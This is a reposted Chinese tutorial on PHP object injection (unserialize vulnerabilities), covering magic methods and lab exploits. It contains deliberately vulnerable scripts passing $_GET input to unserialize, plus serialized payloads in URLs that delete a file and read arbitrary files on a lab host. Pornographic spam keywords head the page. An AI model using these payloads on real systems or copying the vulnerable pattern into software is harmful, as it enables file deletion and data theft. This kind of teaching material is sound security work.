日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > php >内容正文

php

理解php反序列化漏洞

發(fā)布時(shí)間:2024/10/12 php 62 豆豆
生活随笔 收集整理的這篇文章主要介紹了 理解php反序列化漏洞 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

php對(duì)象注入是一個(gè)非常常見的漏洞,這個(gè)類型的漏洞雖然有些難以利用,但仍舊非常危險(xiǎn)。為了理解這個(gè)漏洞,請(qǐng)讀者具備基礎(chǔ)的php知識(shí)。類和變量是非常容易理解的php概念。舉個(gè)例子,1.php在一個(gè)類中定義了一個(gè)變量和一個(gè)方法。它創(chuàng)建了一個(gè)對(duì)象并且調(diào)用了PrintVariable函數(shù),該函數(shù)會(huì)輸出變量variable。

[php]?view plain?copy
  • <?php????
  • ?????
  • class?TestClass????
  • {????
  • ????//?一個(gè)變量????
  • ?????
  • ????public?$variable?=?'This?is?a?string';????
  • ?????
  • ????//?一個(gè)簡(jiǎn)單的方法????
  • ?????
  • ????public?function?PrintVariable()????
  • ????{????
  • ????????echo?$this->variable;????
  • ????}????
  • }????
  • ?????
  • //?創(chuàng)建一個(gè)對(duì)象????
  • ?????
  • $object?=?new?TestClass();????
  • ?????
  • //?調(diào)用一個(gè)方法????
  • ?????
  • $object->PrintVariable();????
  • ?????
  • ?>???
  • ?

    php類可能會(huì)包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號(hào)__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函數(shù)在某些情況下會(huì)自動(dòng)調(diào)用,比如__construct當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用,__destruct當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用,__toString當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用。為了更好的理解magic方法是如何工作的,在2.php中增加了三個(gè)magic方法,__construct, __destruct和__toString??梢钥闯?#xff0c;__construct在對(duì)象創(chuàng)建時(shí)調(diào)用,__destruct在php腳本結(jié)束時(shí)調(diào)用,__toString在對(duì)象被當(dāng)作一個(gè)字符串使用時(shí)調(diào)用。

    [php]?view plain?copy
  • <?php????
  • ?????
  • class?TestClass????
  • {????
  • ????//?一個(gè)變量????
  • ?????
  • ????public?$variable?=?'This?is?a?string';????
  • ?????
  • ????//?一個(gè)簡(jiǎn)單的方法????
  • ?????
  • ????public?function?PrintVariable()????
  • ????{????
  • ????????echo?$this->variable?.?'<br?/>';????
  • ????}????
  • ?????
  • ????//?Constructor????
  • ?????
  • ????public?function?__construct()????
  • ????{????
  • ????????echo?'__construct?<br?/>';????
  • ????}????
  • ?????
  • ????//?Destructor????
  • ?????
  • ????public?function?__destruct()????
  • ????{????
  • ????????echo?'__destruct?<br?/>';????
  • ????}????
  • ?????
  • ????//?Call????
  • ?????
  • ????public?function?__toString()????
  • ????{????
  • ????????return?'__toString<br?/>';????
  • ????}????
  • }????
  • ?????
  • //?創(chuàng)建一個(gè)對(duì)象????
  • //??__construct會(huì)被調(diào)用????
  • ?????
  • $object?=?new?TestClass();????
  • ?????
  • //?創(chuàng)建一個(gè)方法?????
  • ?????
  • $object->PrintVariable();????
  • ?????
  • //?對(duì)象被當(dāng)作一個(gè)字符串????
  • //??__toString會(huì)被調(diào)用????
  • ?????
  • echo?$object;????
  • ?????
  • //?End?of?PHP?script????
  • //?腳本結(jié)束__destruct會(huì)被調(diào)用????
  • ?????
  • ?>???
  • php允許保存一個(gè)對(duì)象方便以后重用,這個(gè)過(guò)程被稱為序列化。為什么要有序列化這種機(jī)制呢?在傳遞變量的過(guò)程中,有可能遇到變量值要跨腳本文件傳遞的過(guò)程。試想,如果為一個(gè)腳本中想要調(diào)用之前一個(gè)腳本的變量,但是前一個(gè)腳本已經(jīng)執(zhí)行完畢,所有的變量和內(nèi)容釋放掉了,我們要如何操作呢?難道要前一個(gè)腳本不斷的循環(huán),等待后面腳本調(diào)用?這肯定是不現(xiàn)實(shí)的。serialize和unserialize就是用來(lái)解決這一問(wèn)題的。serialize可以將變量轉(zhuǎn)換為字符串并且在轉(zhuǎn)換中可以保存當(dāng)前變量的值;unserialize則可以將serialize生成的字符串變換回變量。讓我們?cè)?.php中添加序列化的例子,看看php對(duì)象序列化之后的格式。

    [php]?view plain?copy
  • <?php????
  • ?????
  • //?某類????
  • ?????
  • class?User????
  • {????
  • ????//?類數(shù)據(jù)????
  • ?????
  • ????public?$age?=?0;????
  • ????public?$name?=?'';????
  • ?????
  • ????//?輸出數(shù)據(jù)????
  • ?????
  • ????public?function?PrintData()????
  • ????{????
  • ????????echo?'User?'?.?$this->name?.?'?is?'?.?$this->age????
  • ?????????????.?'?years?old.?<br?/>';????
  • ????}????
  • }????
  • ?????
  • //?創(chuàng)建一個(gè)對(duì)象????
  • ?????
  • $usr?=?new?User();????
  • ?????
  • //?設(shè)置數(shù)據(jù)????
  • ?????
  • $usr->age?=?20;????
  • $usr->name?=?'John';????
  • ?????
  • //?輸出數(shù)據(jù)????
  • ?????
  • $usr->PrintData();????
  • ?????
  • //?輸出序列化之后的數(shù)據(jù)????
  • ?????
  • echo?serialize($usr);????
  • ?????
  • ?>???
  • 為了使用這個(gè)對(duì)象,在4.php中用unserialize重建對(duì)象。

    [php]?view plain?copy
  • <?php????
  • ?????
  • //?某類????
  • ?????
  • class?User????
  • {????
  • ????//?Class?data????
  • ?????
  • ????public?$age?=?0;????
  • ????public?$name?=?'';????
  • ?????
  • ????//?Print?data????
  • ?????
  • ????public?function?PrintData()????
  • ????{????
  • ????????echo?'User?'?.?$this->name?.?'?is?'?.?$this->age?.?'?years?old.?<br?/>';????
  • ????}????
  • }????
  • ?????
  • //?重建對(duì)象????
  • ?????
  • $usr?=?unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');????
  • ?????
  • //?調(diào)用PrintData?輸出數(shù)據(jù)????
  • ?????
  • $usr->PrintData();????
  • ?????
  • ?>???
  • magic函數(shù)__construct和__destruct會(huì)在對(duì)象創(chuàng)建或者銷毀時(shí)自動(dòng)調(diào)用;__sleep magic方法在一個(gè)對(duì)象被序列化的時(shí)候調(diào)用;__wakeup magic方法在一個(gè)對(duì)象被反序列化的時(shí)候調(diào)用。在5.php中添加這幾個(gè)magic函數(shù)的例子。

    [php]?view plain?copy
  • <?php????
  • ?????
  • class?Test????
  • {????
  • ????public?$variable?=?'BUZZ';????
  • ????public?$variable2?=?'OTHER';????
  • ?????
  • ????public?function?PrintVariable()????
  • ????{????
  • ????????echo?$this->variable?.?'<br?/>';????
  • ????}????
  • ?????
  • ????public?function?__construct()????
  • ????{????
  • ????????echo?'__construct<br?/>';????
  • ????}????
  • ?????
  • ????public?function?__destruct()????
  • ????{????
  • ????????echo?'__destruct<br?/>';????
  • ????}????
  • ?????
  • ????public?function?__wakeup()????
  • ????{????
  • ????????echo?'__wakeup<br?/>';????
  • ????}????
  • ?????
  • ????public?function?__sleep()????
  • ????{????
  • ????????echo?'__sleep<br?/>';????
  • ?????
  • ????????return?array('variable',?'variable2');????
  • ????}????
  • }????
  • ?????
  • //?創(chuàng)建對(duì)象調(diào)用__construct??
  • ?????
  • $obj?=?new?Test();????
  • ?????
  • //?序列化對(duì)象調(diào)用__sleep????
  • ?????
  • $serialized?=?serialize($obj);????
  • ?????
  • //?輸出序列化后的字符串????
  • ?????
  • print?'Serialized:?'?.?$serialized?.?'<br?/>';????
  • ?????
  • //?重建對(duì)象調(diào)用__wakeup????
  • ?????
  • $obj2?=?unserialize($serialized);????
  • ?????
  • //?調(diào)用PintVariable輸出數(shù)據(jù)???
  • ?????
  • $obj2->PrintVariable();????
  • ?????
  • //?腳本結(jié)束調(diào)用__destruct?????
  • ?????
  • ?>???

  • 現(xiàn)在我們了解序列化是如何工作的,但是我們?nèi)绾卫盟?有多種可能的方法,取決于應(yīng)用程序、可用的類和magic函數(shù)。記住,序列化對(duì)象包含攻擊者控制的對(duì)象值。你可能在Web應(yīng)用程序源代碼中找到一個(gè)定義__wakeup或__destruct的類,這些函數(shù)會(huì)影響Web應(yīng)用程序。例如,我們可能會(huì)找到一個(gè)臨時(shí)將日志存儲(chǔ)到文件中的類。當(dāng)銷毀時(shí)對(duì)象可能不再需要日志文件并將其刪除。把下面這段代碼保存為logfile.php。

    [php]?view plain?copy
  • <?php?????
  • ?????
  • class?LogFile????
  • {????
  • ????//?log文件名????
  • ?????
  • ????public?$filename?=?'error.log';????
  • ?????
  • ????//?儲(chǔ)存日志文件????
  • ?????
  • ????public?function?LogData($text)????
  • ????{????
  • ????????echo?'Log?some?data:?'?.?$text?.?'<br?/>';????
  • ????????file_put_contents($this->filename,?$text,?FILE_APPEND);????
  • ????}????
  • ?????
  • ????//?刪除日志文件????
  • ?????
  • ????public?function?__destruct()????
  • ????{????
  • ????????echo?'__destruct?deletes?"'?.?$this->filename?.?'"?file.?<br?/>';????
  • ????????unlink(dirname(__FILE__)?.?'/'?.?$this->filename);????
  • ????}????
  • }????
  • ?????
  • ?>???
  • 這是一個(gè)使用它的例子。

    [php]?view plain?copy
  • <?php????
  • ?????
  • include?'logfile.php';????
  • ?????
  • //?創(chuàng)建一個(gè)對(duì)象????
  • ?????
  • $obj?=?new?LogFile();????
  • ?????
  • //?設(shè)置文件名和要儲(chǔ)存的日志數(shù)據(jù)????
  • ?????
  • $obj->filename?=?'somefile.log';????
  • $obj->LogData('Test');????
  • ?????
  • //?腳本結(jié)束__destruct被調(diào)用somefile.log文件被刪除??
  • ?????
  • ?>???
  • 在其它腳本中我們可能找到一個(gè)unserialize的調(diào)用,并且參數(shù)是用戶提供的。把下面這段代碼保存為test.php。

    [php]?view plain?copy
  • <?php????
  • ?????
  • include?'logfile.php';????
  • ?????
  • //?...?一些使用LogFile類的代碼...????
  • ?????
  • //?簡(jiǎn)單的類定義????
  • ?????
  • class?User????
  • {????
  • ????//?類數(shù)據(jù)????
  • ?????
  • ????public?$age?=?0;????
  • ????public?$name?=?'';????
  • ?????
  • ????//?輸出數(shù)據(jù)????
  • ?????
  • ????public?function?PrintData()????
  • ????{????
  • ????????echo?'User?'?.?$this->name?.?'?is?'?.?$this->age?.?'?years?old.?<br?/>';????
  • ????}????
  • }????
  • ?????
  • //?重建用戶輸入的數(shù)據(jù)????
  • ?????
  • $usr?=?unserialize($_GET['usr_serialized']);????
  • ?????
  • ?>???
  • 創(chuàng)建利用代碼111.php。

    [php]?view plain?copy
  • <?php????
  • ??
  • include?'logfile.php';????
  • ??
  • $obj?=?new?LogFile();????
  • $obj->filename?=?'1.php';????
  • ?????
  • echo?serialize($obj)?.?'<br?/>';????
  • ?????
  • ?>???
  • 訪問(wèn)http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}。

    顯示已經(jīng)刪除了1.php。驗(yàn)證一下,果然成功刪除了。

    這就是漏洞名稱的由來(lái):在變量可控并且進(jìn)行了unserialize操作的地方注入序列化對(duì)象,實(shí)現(xiàn)代碼執(zhí)行或者其它坑爹的行為。先不談 __wakeup 和 __destruct,還有一些很常見的注入點(diǎn)允許你利用這個(gè)類型的漏洞,一切都是取決于程序邏輯。舉個(gè)例子,某用戶類定義了一個(gè)__toString為了讓應(yīng)用程序能夠?qū)㈩愖鳛橐粋€(gè)字符串輸出(echo $obj),而且其他類也可能定義了一個(gè)類允許__toString讀取某個(gè)文件。把下面這段代碼保存為test.php。

    [php]?view plain?copy
  • <?php?????
  • ?????
  • //?…?一些include?...????
  • ?????
  • class?FileClass????
  • {????
  • ????//?文件名????
  • ?????
  • ????public?$filename?=?'error.log';????
  • ?????
  • ????//?當(dāng)對(duì)象被作為一個(gè)字符串會(huì)讀取這個(gè)文件????
  • ?????
  • ????public?function?__toString()????
  • ????{????
  • ????????return?file_get_contents($this->filename);????
  • ????}????
  • }????
  • ?????
  • //?Main?User?class????
  • ?????
  • class?User????
  • {????
  • ????//?Class?data????
  • ?????
  • ????public?$age?=?0;????
  • ????public?$name?=?'';????
  • ?????
  • ????//?允許對(duì)象作為一個(gè)字符串輸出上面的data????
  • ?????
  • ????public?function?__toString()????
  • ????{????
  • ????????return?'User?'?.?$this->name?.?'?is?'?.?$this->age?.?'?years?old.?<br?/>';????
  • ????}????
  • }????
  • ?????
  • //?用戶可控????
  • ?????
  • $obj?=?unserialize($_GET['usr_serialized']);????
  • ?????
  • //?輸出__toString????
  • ?????
  • echo?$obj;????
  • ?????
  • ?>???
  • 訪問(wèn)http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}。

    ?

    但是如果我們用序列化調(diào)用FileClass呢?先建立一個(gè)1.txt。

    創(chuàng)建利用代碼123.php。

    [php]?view plain?copy
  • <?php????
  • ???
  • include?'test.php';????
  • $fileobj?=?new?FileClass();????
  • $fileobj->filename?=?'1.txt';????
  • ?????
  • echo?serialize($fileobj);????
  • ?????
  • ?>???
  • 訪問(wèn)http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}。

    成功顯示了文本內(nèi)容。也可以使用其他magic函數(shù):如果對(duì)象將調(diào)用一個(gè)不存在的函數(shù)__call將被調(diào)用;如果對(duì)象試圖訪問(wèn)不存在的類變量__get和__set將被調(diào)用。但是利用這種漏洞并不局限于magic函數(shù),在普通的函數(shù)上也可以采取相同的思路。例如User類可能定義一個(gè)get方法來(lái)查找和打印一些用戶數(shù)據(jù),但是其他類可能定義一個(gè)從數(shù)據(jù)庫(kù)獲取數(shù)據(jù)的get方法,這從而會(huì)導(dǎo)致SQL注入漏洞。set或write方法會(huì)將數(shù)據(jù)寫入任意文件,可以利用它獲得遠(yuǎn)程代碼執(zhí)行。唯一的技術(shù)問(wèn)題是注入點(diǎn)可用的類,但是一些框架或腳本具有自動(dòng)加載的功能。最大的問(wèn)題在于人:理解應(yīng)用程序以能夠利用這種類型的漏洞,因?yàn)樗赡苄枰罅康臅r(shí)間來(lái)閱讀和理解代碼。
    原文地址:https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

    轉(zhuǎn)載于:https://www.cnblogs.com/gongchixin/articles/8108957.html

    總結(jié)

    以上是生活随笔為你收集整理的理解php反序列化漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。